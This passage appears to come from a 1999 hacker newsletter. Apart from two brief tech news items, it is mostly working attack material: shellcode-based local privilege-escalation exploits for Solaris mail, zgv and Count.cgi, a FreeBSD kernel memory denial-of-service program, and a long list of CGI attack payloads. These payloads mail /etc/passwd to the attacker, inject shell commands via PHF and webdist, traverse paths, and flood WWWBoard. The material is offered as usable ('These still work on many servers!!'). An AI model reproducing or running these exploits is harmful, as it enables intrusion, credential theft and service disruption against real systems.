* shells dropping egid if it doesn't match your real gid)
* Will set gid=6(mail)
*
* gcc -o mailex solx86gid.c
* /usr/bin/mail -m `./mailex 0 1975 2285` foo
* . <period, enter>
* $
*
* Usage: ./mailex <offset> <NOPS> <BUFSIZE>
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUF 10000
#define NOP 0x90
char shell[] =
/* 0 */ "\xeb\x45" /* jmp springboard */
/* syscall: */
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
/* 9 */ "\xc3" /* ret */
/* start: */
/* 10 */ "\x5e" /* popl %esi */
/* 11 */ "\x31\xc0" /* xor %eax,%eax */
/* 13 */ "\x89\x46\xb7" /* movl %eax,-0x49(%esi) */
/* 16 */ "\x88\x46\xbc" /* movb %al,-0x44(%esi) */
/* 19 */ "\x88\x46\x07" /* movb %al,0x7(%esi) */
/* 22 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
/* setregid: */
/* 25 */ "\x31\xc0" /* xor %eax,%eax */
/* 27 */ "\xb0\x2f" /* movb $0x2f,%al */
/* 29 */ "\xe8\xe0\xff\xff\xff" /* call syscall */
/* 34 */ "\x52" /* pushl %edx */
/* 35 */ "\x52" /* pushl %edx */
/* 36 */ "\x31\xc0" /* xor %eax,%eax */
/* 38 */ "\xb0\xcb" /* movb $0xcb,%al */
/* 40 */ "\xe8\xd5\xff\xff\xff" /* call syscall */
/* 45 */ "\x83\xc4\x08" /* addl $0x4,%esp */
/* execve: */
/* 48 */ "\x31\xc0" /* xor %eax,%eax */
/* 50 */ "\x50" /* pushl %eax */
/* 51 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */
/* 54 */ "\x53" /* pushl %ebx */
/* 55 */ "\x8d\x1e" /* leal (%esi),%ebx */
/* 57 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */
/* 60 */ "\x53" /* pushl %ebx */
/* 61 */ "\xb0\x3b" /* movb $0x3b,%al */
/* 63 */ "\xe8\xbe\xff\xff\xff" /* call syscall */
/* 68 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
/* springboard: */
/* 71 */ "\xe8\xbe\xff\xff\xff" /* call start */
/* data: */
/* 76 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
/* 84 */ "\xff\xff\xff\xff" /* DATA */
/* 88 */ "\xff\xff\xff\xff"; /* DATA */
unsigned long int nop;
unsigned long int esp;
long int offset;
char buf[BUF];
unsigned long int get_esp()
{
__asm__("movl %esp,%eax");
}
void
main (int argc, char *argv[])
{
int buflen, i;
if (argc > 1)
offset = strtol(argv[1], NULL, 0);
if (argc > 2)
nop = strtoul(argv[2], NULL, 0);
else
nop = 285;
if (argc > 3)
buflen=atoi(argv[3]);
else
buflen=BUF;
esp = get_esp();
memset(buf, NOP, buflen);
memcpy(buf+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < buflen-4; i += 4)
*((int *) &buf[i]) = esp+offset;
for (i = 0; i < strlen(buf); i++) putchar(buf[i]);
return;
}
@HWA
31.0 FreeBSD VFS Cache Exploit
~~~~~~~~~~~~~~~~~~~~~~~~~
/*
A vulnerability exists in FreeBSD's new VFS cache
introduced in version 3.0 that allows a local and
possibly remote user to force the kernel to consume
large quantities of wired memory thus creating a
denial of service condition. The new VFS cache has
no way to purge entries from memory while the file
is open, consuming wired memory and allowing for
the denial of service (memory that cannot be swapped out).
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#define NFILE 64
#define NLINK 30000
#define NCHAR 245
int
main()
{
char junk[NCHAR+1],
dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1];
int i, j;
struct stat sb;
memset(junk, 'x', NCHAR);
junk[NCHAR] = '\0';
for (i = 0; i < NFILE; i++) {
printf("\r%02d/%05d...", i, 0),
fflush(stdout);
sprintf(dir, "%02d-%02d", i, 0);
if (mkdir(dir, 0755) < 0)
fprintf(stderr, "mkdir(%s) failed\n", dir),
exit(1);
sprintf(file1, "%s/%s%03d", dir, junk, 0);
if (creat(file1, 0644) < 0)
fprintf(stderr, "creat(%s) failed\n", file1),
exit(1);
if (stat(file1, &sb) < 0)
fprintf(stderr, "stat(%s) failed\n", file1),
exit(1);
for (j = 1; j < NLINK; j++) {
if ((j % 1000) == 0) {
printf("\r%02d/%05d...", i, j),
fflush(stdout);
sprintf(dir, "%02d-%02d", i, j/1000);
if (mkdir(dir, 0755) < 0)
fprintf(stderr, "mkdir(%s) failed\n", dir),
exit(1);
}
sprintf(file2, "%s/%s%03d", dir, junk, j%1000);
if (link(file1, file2) < 0)
fprintf(stderr, "link(%s,%s) failed\n", file1, file2),
exit(1);
if (stat(file2, &sb) < 0)
fprintf(stderr, "stat(%s) failed\n", file2),
exit(1);
}
}
printf("\rfinished successfully\n");
}
@HWA
32.0 Compaq, HP and MS join together to create PC Security Standards
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Spikeman
http://www.currents.net/newstoday/99/10/15/news3.html
PC Security Standards
By Staff, Newsbytes.
October 15, 1999
Five of the heavyweights in the information-technology (IT)
industry - Compaq Computer Corp. [NYSE:CPQ],
Hewlett-Packard Co. [NYSE:HWP], IBM Corp. [NYSE:IBM],
Intel Corp. [NASDAQ:INTC] and Microsoft Corp.
[NASDAQ:MSFT] - are reportedly forming a group to develop a
standard for personal-computer security.
The Wall Street Journal reported the five members of the group,
to be called the "Trusted Computing Platform Alliance (TCPA),"
will focus on enhancing the security in the basic input-output
system (BIOS), hardware and operating systems. The standard
would generate random numbers that would be used to encrypt
data and electronic signatures, both of which are used to
authenticate parties in electronic commerce. Detection of
computer viruses would also be helped with the group's work,
the Journal also said.
TCPA will reportedly invite other companies to participate in the
group, which hopes to see a security spec ready for open
licensing by the second half of 2000.
@HWA
33.0 Crypto; It;s Not Just Red, White, And Blue
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Spikeman
http://www.techweb.com/wire/story/TWB19991015S0008
Crypto: It's Not Just Red, White,
And Blue
(10/15/99, 11:13 a.m. ET)
By Mo Krochmal, TechWeb
Cryptography is a growing industry, not only in
the United States, but for a number of new
countries, said a scientist who tracks the
industry.
"The use of cryptography to protect information is a
worldwide effort," David Balenson, principal scientist
for Network Associates (formerly McAfee),
Glenwood, Md., said Thursday at The Internet Security
Conference in Boston.
Cryptographic products are coming from places such as
Estonia, Iceland, Isle of Man, and Romania, said
Balenson, who has surveyed the field since 1993.
Companies such as Data Fellows of Finland and Check
Point Software of Israel are competitors to U.S.
security companies.
The growth of the Internet and the increasing use of
e-mail and VPNs has fueled the market, he said. The
United States is the leading producer, followed by the
United Kingdom, and then Germany. There are over
800 products available from 35 countries outside the
United States, said Balenson who has surveyed the
industry at George Washington University since 1994.
"There is high growth there," he said. "The IETF and
its working groups are producing standards that are
maturing and contributing to this worldwide growth."
Those looking for new vendors don't have far to go,
Balenson said.
"You can find it on the Web," he said "Every day I sit at
my terminal and find more and more products
available."
Survey information is available at
www.cpi.seas.gwu.edu/library/docs/summary.html.
@HWA
34.0 redhat 6.0 / redhat 5.2 zgv local by icesk [gH]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From http://www.hack.co.za/
/*
* [gH] icesk brings jue [gH]
* -> redhat 6.0 / redhat 5.2 zgv local (literly on console or a terminal)
* -> zgv 3.0 exploit. afects zgv 3.0 even AFTER the vendor patch.
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define nop 0x90
/* not my shellcode */
char shellcode[] =
"\xeb\x20\x5e\x8d\x46\x05\x80\x08\x20\x8d\x46\x27\x80\x08\x20\x40"
"\x80\x08\x20\x40\x80\x08\x20\x40\x40\x80\x08\x20\x40\x80\x08\x20"
"\xeb\x05\xe8\xdb\xff\xff\xff"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
u_long get_sp(void) { __asm__("movl %esp,%eax"); }
void main(int argc, char **argv) {
char *buffer, *ptr;
long *address_ptr, *address;
int i, desc, offset = 0, bsize = 1024;
buffer = malloc(bsize);
(char *)address = get_sp() - offset;
printf("return address %#x\n" ,address);
ptr = buffer;
address_ptr = (long *)ptr;
for(i=0;i < bsize;i += 4)
(int *)*(address_ptr++) = address;
for(i=0;i < bsize / 2; i++)
buffer[i] = nop;
ptr = buffer + ((bsize / 2) - (strlen(shellcode) / 2));
for(i=0;i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buffer[bsize - 1] = '\0';
printf("g0t w00t sh3ll!\n");
setenv("HOME", buffer, 1);
execl("/usr/bin/zgv", "zgv", 0);
}
/* www.hack.co.za */
@HWA
35.0 CGI and HTTP exploits v1.0
~~~~~~~~~~~~~~~~~~~~~~~~~~
From http://www.hack.co.za/
Coldfusion
~~~~~~~~~~
Many web sites in earlt-mid 1999 were cracked using this exploit.
Exploit:
telnet target.machine.com 80
GET /cfdocs/expelval/openfile.cfm HTTP/1.0
GET /cfdocs/expelval/exprcalc.cfm HTTP/1.0
GET /cfdocs/expelval/displayopenedfile.cfm HTTP/1.0
Glimpse CGI hack
~~~~~~~~~~~~~~~~
Just like the PHF hack this one can't get much simpler...
telnet target.machine.com 80
GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5your_address\@your_computer.com\
Convert-Bas
~~~~~~~~~~~
Exploit:
lynx http://victim.com/scripts/convert.bas?../../etc/passwd
Count.cgi
~~~~~~~~~
/*###############################################################
#################################################################
##
## count.cgi.l.c - intel linux exploit for Count.cgi
## Gus/97
## Shell code blatantly stolen from 'wwwcount.c' by
## Plaguez <dube0866@eurobretagne.fr>
##
## Spawns an xterm on your $DISPLAY, or override on command
## line.
##
##
*/
#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <unistd.h>
/* Forwards */
unsigned long getsp(int);
int usage(char *);
void doit(long, char *);
/* Constants */
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf
f\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0";
char endpad[]=
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
int main (int argc, char *argv[]){
char *shellcode;
int cnt,ver;
unsigned long sp;
int retcount;
int dotquads[4];
int dispnum;
char displaynamebuf[255];
sp = cnt = ver = 0;
fprintf(stderr,"\tcounterterm - Gus\n");
if (argc<3) usage(argv[0]);
while ((cnt = getopt(argc,argv,"d:v:")) != EOF) {
switch(cnt){
case 'd':
{
retcount = sscanf(optarg, "%d.%d.%d.%d:%d",
&dotquads[0],
&dotquads[1],
&dotquads[2],
&dotquads[3], &dispnum);
if (retcount != 5) usage(argv[0]);
sprintf(displaynamebuf, "%03d.%03d.%03d.%03d:%01d",
dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);
shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));
sprintf(shellcode,"%s%s%s",shell,displaynamebuf,endpad);
}
break;
case 'v':
ver = atoi(optarg);
printf("Ver is %d\n",ver);
break;
default:
usage(argv[0]);
break;
}
}
sp = getsp(ver);
(void)doit(sp,shellcode);
exit(0);
}
unsigned long getsp(int ver) {
/* Get the stack pointer we should be using. This is version specific, and,
** as with all buffer overruns is more of a pointer than a precise value.
*/
unsigned long sp=0;
if (ver == 15) sp = 0xFFFFFF;
if (ver == 20) sp = 0XFFFFFF;
if (ver == 22) sp = 0xbfffa0b4;
if (ver == 23) sp = 0xbfffee38;
if (sp == 0) {
fprintf(stderr,"That version is not vulnerable.\n");
exit(1);
} else {
fprintf(stderr,"\tUsing offset 0x%x\n",sp);
return sp;
}
}
int usage (char *name) {
fprintf(stderr,"\tUsage:%s -d <display> -v <version>\n",name);
fprintf(stderr,"\te.g. %s -d 127.0.0.1:0 -v 22\n",name);
exit(1);
}
void doit (long sp, char *shellcode) {
int cnt;
char qs[7000];
char chain[] = "user=a";
for(cnt=0;cnt<4104;cnt+=4) {
qs[cnt+0] = sp & 0x000000ff;
qs[cnt+1] = (sp & 0x0000ff00) >> 8;
qs[cnt+2] = (sp & 0x00ff0000) >> 16;
qs[cnt+3] = (sp & 0xff000000) >> 24;
}
strcpy(qs,chain);
qs[strlen(chain)]=0x90;
qs[4104]= sp&0x000000ff;
qs[4105]=(sp&0x0000ff00)>>8;
qs[4106]=(sp&0x00ff0000)>>16;
qs[4107]=(sp&0xff000000)>>24;
qs[4108]= sp&0x000000ff;
qs[4109]=(sp&0x0000ff00)>>8;
qs[4110]=(sp&0x00ff0000)>>16;
qs[4111]=(sp&0xff000000)>>24;
qs[4112]= sp&0x000000ff;
qs[4113]=(sp&0x0000ff00)>>8;
qs[4114]=(sp&0x00ff0000)>>16;
qs[4115]=(sp&0xff000000)>>24;
qs[4116]= sp&0x000000ff;
qs[4117]=(sp&0x0000ff00)>>8;
qs[4118]=(sp&0x00ff0000)>>16;
qs[4119]=(sp&0xff000000)>>24;
qs[4120]= sp&0x000000ff;
qs[4121]=(sp&0x0000ff00)>>8;
qs[4122]=(sp&0x00ff0000)>>16;
qs[4123]=(sp&0xff000000)>>24;
qs[4124]= sp&0x000000ff;
qs[4125]=(sp&0x0000ff00)>>8;
qs[4126]=(sp&0x00ff0000)>>16;
qs[4127]=(sp&0xff000000)>>24;
qs[4128]= sp&0x000000ff;
qs[4129]=(sp&0x0000ff00)>>8;
qs[4130]=(sp&0x00ff0000)>>16;
qs[4131]=(sp&0xff000000)>>24;
strcpy((char*)&qs[4132],shellcode);
fprintf(stderr,"GET /cgi-bin/counter?%s\n\n",qs);
setenv("HTTP_USER_AGENT",qs,1);
setenv("QUERY_STRING",qs,1);
system("./Count.cgi");
}
counter
~~~~~~~
Exploit:
Mnemonix found following. A denial of service exists in
counter.exe version 2.70, a fairly popular webhit counter used on
the Win32 platform with web servers such as IIS and WebSite Pro.
There are two different bugs:
1) When someone requests:
http://no-such-server-really/scripts/counter.exe?%0A
this will create an entry in counter.log of a blank line then
a ",1" . If the person then refreshes their browser and
requests it again you get an Access Violation in counter.exe -
the instruction at 0x00414c0a referenced memory at 0x00000000.
2) When someone requests:
http://no-such-server-really/scripts/counter.exe?AAAAAover-2200-As
you get a similar problem - though not a buffer overrun.
Whilst in a state of "hanging" all other vaild requests for
counter are queued and not dealt with until someone goes to the
console and okays the AV messages. Added to this memory can be
consumed if the page is continuosly requested.
excite
~~~~~~
Exploit:
lynx www.host.com/cgi-bin/excite;IFS="$";/bin/cat /etc/passwd|mail your_email_here;
faxsurvey
~~~~~~~~~
Exploit:
http://lamer-host.org/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
All S.u.S.E. 5.1 and 5.2 Linux Dist. (and I think also older ones)
with the HylaFAX package installed are vulnerable to this attack.
finger
~~~~~~
Exploit:
lynx http://www.host.com/cgi-bin/finger?@localhost
handler
~~~~~~~
Exploit:
telnet target.machine.com 80
GET /cgi-bin/handler/useless_shit;cat /etc/passwd|?data=Download
HTTP/1.0
htmlscript
~~~~~~~~~~
Exploit:
jaxx0r:/# lynx http://www.host.org/cgi-bin/htmlscript?../../../../etc/passwd
root:x:0:1:Super-User:/export/home/root:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
smtp:x:0:0:Mail Daemon User:/:/bin/false
Dennis Moore (rainking@FEEDING.FRENZY.COM)
info2www
~~~~~~~~
Exploit:
$ REQUEST_METHOD=GET ./info2www '(../../../../../../../bin/mail jami
perl-cgi
~~~~~~~~
#!/usr/bin/perl -w
#
##############################################################################
# latrodectus cyberneticus - probe web for insecure perl installations
# tchrist@perl.com
# version 1.0 Thu Mar 28 17:53:42 MST 1996
#
# requires the LWP library fetchable from the CPAN multiplexor at
# http://www.perl.com/cgi-bin/cpan_mod?module=LWP
##############################################################################
require 5.002;
use strict;
use LWP::UserAgent;
=head1 NAME
latrodectus cyberneticus - probe web for insecure perl installations
=head1 SYNOPSIS
Via command line arguments:
latro host1 //host2/bincgi //host3/bincgi/badperl
or via STDIN:
sed 's/ .*//' access_log | sort -u | latro
=head1 DESCRIPTION
B is designed to probe whether your site or sites you control have
been compromised by the insanely idiotic practice of placing a perl
executable in the cgi-bin. If you have ever seen anyone post a URL like
http://dummy.org/cgi-bin/perl.exe?FMH.pl
then you know they have the problem. This is pathetically
pervasive amongst (horrifically mismanaged) sub-Unix web sites.
=head1 USE AND MISUSE
Robert Heinlein once wrote: "Stupidity cannot be cured with money
or
through education
or by legislation. Stupidity is not a sin
the victim
can't help being stupid. But stupidity is the only universal capital
crime; the sentence is death
there is no appeal
and execution is carried
out automatically and without pity."
Consider this program such execution -- or at least the threat thereof.
You can do very evil things with this program. Very evil things. You can
execute I on their site. Please don't do anything
(too) wicked. When you find such sites
please do the responsible and professional
thing and mail their cluefully challenged webmaster about the problem.
My goal with this program is to shake up the web a little bit now lest a
I poison spider should someday rip it to shreds and blame perl. It's not
perl's fault. It's the idiocy of the PC web sites -- and the vendors and
docs that tell them to do this ineffably idiotic and evil thing.
=head1 AUTHOR
Tom Christiansen
Last update:
Thu Mar 28 17:53:42 MST 1996
=cut
my $PROGNAME = "latrodectus cyberneticus";
my $VERSION = "1.0";
my $DEF_CGI_BIN = "/cgi-bin";
# should prolly both "perl" and "perl.com" as well as
# the "perl.exe" thing.
my $DEF_PERL_PATH = "/perl.exe";
my $PROGRAM = join qq===>;
$| = 1;
#use LWP::Debug qw(level);
#level('+');
if (@ARGV) {
for (@ARGV) { probe($_) }
} elsif (!-t STDIN) {
while () {
chomp;
probe($_);
}
} else {
die "usage: $0 [site ...]\n";
}
sub probe {
my $site = shift;
my $cgi_bin = '';
my $perl_path = '';
my $pre_site = '';
if ($site !~ m#/#) {
$cgi_bin = $DEF_CGI_BIN;
}
if ($site !~ /perl/) {
$perl_path = $DEF_PERL_PATH;
}
if ($site !~ m#^//#) {
$pre_site = '//';
}
my $ua = LWP::UserAgent->new();
$ua->agent("$PROGNAME
v$VERSION");
my $full_targ = 'http:' . $pre_site . $site . $cgi_bin . $perl_path;
printf "%-35s "
$site;
my $req = HTTP::Request->new( POST => $full_targ );
$req->content_type('application/x-www-form-urlencoded');
$req->content($PROGRAM);
my $res = $ua->request($req);
# check the outcome
if ($res->is_success) {
if ($res->content =~ /WWW Black Widow/) {
print ">>\n";
} else {
my $oops = $res->content;
$oops =~ s/\n/ /g;
print "APPREHENDED: $oops\n";
}
} else {
my $oops = $res->code . " " . $res->message;
if ($res->code == 404) {
print "SAFE: $oops";
} else {
print "ERROR: $oops";
}
print "\n" unless $oops =~ /\n$/;
}
}
__END__
# Here begins the remote program. Whatsoever you place
# within this code shall be executed on the foreign system
# without checks
without pity and without remorse.
#
# Play nicely.
print ;
print "If I were nasty
you'd be spiderfood by now.\n";
print "\n\n\t--the black widow\n";
__END__
pfdisplay
~~~~~~~~~
Exploit:
lynx -source \
'http://victim.com/cgi-bin/pfdispaly.cgi?/../../../../etc/passwd'
J.A. Gutierrez
Classic PHF and variations
~~~~~~~~~~~~~~~~~~~~~~~~~~
These still work on many servers!!
Exploit:
->View passwd file
http://host.com/cgi-bin/phf?Qalias=%0A/bin/cat%20/etc/passwd
->List directory
http://host.com/cgi-bin/phf?Qalias=x%0a/bin/ls%20/
->Add a user account
http://"server name"/cgi-bin/phf?Qalias=x%0a/bin/adduser%20dagashi%20dagashi%20100%20
->Change UID to 0 on your account
http://"server name"/cgi-bin/phf?Qalias=x%0a/bin/chuid%20dagashi%0
php
~~~
Exploit:
lynx http://www.host.com/cgi-bin/php.cgi?/etc/passwd
responder
~~~~~~~~~
Exploit: (nc is netcat from avian.org)
$ echo "GET
/cgi-bin/responder.cgi?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxx" | nc machttp-server.com 80
search97
~~~~~~~~
Exploit:
http://www.xxx.com/search97.vts
?HLNavigate=On&querytext=dcm
&ServerKey=Primary
&ResultTemplate=../../../../../../../etc/passwd
&ResultStyle=simple
&ResultCount=20
&collection=books
"somecgi"
~~~~~~~~~
DoS/Exploit:
telnet target.machine.com 80
GET /cgi-bin/somecgi.cgi?AAAAAAAAAAAAAAA...
- John Daniele
jdaniele@kpmg.ca
test-cgi
~~~~~~~~
Exploit:
hax0r:/# telnet www.blah.net 80
Trying 200.xx.xx.xx...
Connected to www.blah.net
Escape character is '^]'.
GET /cgi-bin/test-cgi?*
(postmaster@spbu.ru) Evgene Ilyine
textcounter
~~~~~~~~~~~
#!/usr/bin/perl
$URL='http://dtp.kappa.ro/a/test.shtml'; # please _DO_ _modify_ this
$EMAIL='pdoru@pop3.kappa.ro,root'; # please _DO_ _modify_ this
if ($ARGV[0]) {
$CMD=$ARGV[0];
}else{
$CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothere_one";
}
$text="${URL}/;IFS=\8;${CMD};echo|";
$text =~ s/ /\$\{IFS\}/g;
#print "$text\n";
system({"wget"} "wget", $text, "-O/dev/null");
system({"wget"} "wget", $text, "-O/dev/null");
#system({"lynx"} "lynx", $text);
#system({"lynx"} "lynx", $text); # if you don't have "wget"
# you can try with "Lynx"
viewsource
~~~~~~~~~~
Exploit:
'http://www.host.com/cgi-bin/view-source?../../../../../../../etc/passwd'
miniSQL
~~~~~~~
mini-sql v 2.0.10.1
Exploit:
http://www.victim.org/cgi-bin/w3-msql/protected-dir/private-file
note: in this case, the intruder will have to already
know the structure of the directory. The second way:
http://www.victim.org/cgi-bin/w3-msql/protected-dir/.htpasswd
And then you use John The Ripper to decrypt the DES3 encrypted
passwords.
webcom cgi guestbook
~~~~~~~~~~~~~~~~~~~~
Exploit:
jaxx0r:/# telnet www.xxxx.net 80
Trying 200.xx.xx.xx...
Connected to venus.xxxx.net
Escape character is '^]'.
GET http://server/cgi-bin/wguest.exe?template=c:\boot.ini
David Litchfield
webdist
~~~~~~~
Exploit:
http://www.host.org/webdist.cgi?distloc=;/usr/bin/X11/xterm%20-display%20hacker:0.0%20-ut%20-e%20/bin/sh
webgais
~~~~~~~
Exploit:
telnet target.machine.com 80
POST /cgi-bin/webgais HTTP/1.0
Content-length: 85 (replace 85 with length of the "exploit" line)
query=';mail+your_addy\@your_isp.com< /etc/passwd;echo'&output=subject&domain=paragraph
websend email
~~~~~~~~~~~~~
Exploit:
telnet target.machine.com 80
POST /cgi-bin/websendmail HTTP/1.0
Content-length: 85 (replace 85 with length of the "exploit" line)
receiver=;mail+your_address\@somewhere.org< /etc/passwd;&sender=a&rtnaddr=a&subject=a
&content=a
Don't worry if the server displays an error message. The password file is
on the way :).
webdist
~~~~~~~
Exploit:
http://www.host.org/webdist.cgi?distloc=;/usr/bin/X11/xterm%20-display%20hacker:0.0%20-ut%20-e%20/bin/sh
wrap
~~~~
Exploit:
http://sgi.victim/cgi-bin/wrap?/../../../../../etc
wwwboard
~~~~~~~~
#!/usr/bin/perl
###################################################
#
# WWWBoard Bomber Exploit Script
# Written By: Samuel Sparling (sparling@slip.net)
#
# Written to exploit a flaw in the WWWBoard script
# by Matt Wright.
#
# Copyright © 1998 Samuel Sparling
# All Rights Reserved.
#
# Written 11-04-1998
###################################################
use Socket;# Tell perl to use the socket module
# Change this if the server you're trying on uses a different port for http
$port=80;
print "WWWBoard Bomber Exploit Script\n\n";
print "WWWBoard.pl URL: ";
$url=<STDIN>;
chop($url) if $url =~ /\n$/;
print "Name: ";
$name=<STDIN>;
chop($name) if $name =~ /\n$/;
print "E-Mail: ";
$email=<STDIN>;
chop($email) if $email =~ /\n$/;
print "Subject: ";
$subject=<STDIN>;
chop($subject) if $subject =~ /\n$/;
print "Message: ";
$message=<STDIN>;
chop($message) if $message =~ /\n$/;
print "Followup Value: ";
$followup=<STDIN>;
chop($followup) if $followup =~ /\n$/;
print "Times to Post: ";
$stop=<STDIN>;
chop($stop) if $stop =~ /\n$/;
# Chop the URL into peices to use for the actual posting
$remote = $url;
$remote =~ s/http\:\/\///g;
$remote =~ s/\/([^>]|\n)*//g;
$path = $url;
$path =~ s/http\:\/\///g;
$path =~ s/$remote//g;
$forminfo = "name=$name&email=$email&followup=$followup&subject=$subject&body=$message";
$forminfo =~ s/\,/\%2C/g;# Turn comas into %2C so that they can be posted.
$forminfo =~ tr/ /+/;
$length = length($forminfo);
$submit = "POST $path HTTP/1.0\r\nReferer: $url\r\nUser Agent: Mozilla/4.01 (Win95; I)\r\nContent-type: application/x-www-form-urlencoded\r\nContent-length: $length\r\n\r\n$forminfo\r\n";
$i=0;
while($i < $stop)
{
&post_message;
$i++;
print "$i message(s) posted.\n";
}
sub post_message
{
if ($port =~ /\D/) { $port = getservbyname($port, 'tcp'); }
die("No port specified.") unless $port;
$iaddr = inet_aton($remote) || die("Failed to find host: $remote");
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket: $!");
connect(SOCK, $paddr) || die("Unable to connect: $!");
send(SOCK,$submit,0);
while(<SOCK>) {
#print $_;# Uncomment for debugging if you have problems.
}
close(SOCK);
}
exit;
Below is the patch, all it does is check to make sure that the same followup number is not used more than once in the followups form field.
In the get_variables subroutine replace this:
if ($FORM{'followup'}) {
$followup = "1";
@followup_num = split(/,/,$FORM{'followup'});
$num_followups = @followups = @followup_num;
$last_message = pop(@followups);
$origdate = "$FORM{'origdate'}";
$origname = "$FORM{'origname'}";
$origsubject = "$FORM{'origsubject'}";
}
with this:
if ($FORM{'followup'}) {
$followup = "1";
@followup_num = split(/,/,$FORM{'followup'});
$num_followups = @followups = @followup_num;
$last_message = pop(@followups);
$origdate = "$FORM{'origdate'}";
$origname = "$FORM{'origname'}";
$origsubject = "$FORM{'origsubject'}";
# WWWBoard Bomb Patch
# Written By: Samuel Sparling (sparling@slip.net)
$fn=0;
while($fn < $num_followups)
{
$cur_fup = @followups[$fn];
$dfn=0;
foreach $fm(@followups)
{
if(@followups[$dfn] == @followups[$fn] && $dfn != $fn)
{
&error(board_bomb);
}
$dfn++;
}
$fn++;
}
# End WWWBoard Bomb Patch
}
wwwsql
~~~~~~
Exploit:
http://your.server/cgi-bin/www-sql/protected/something.html
you get the requested file
Christophe Leroy
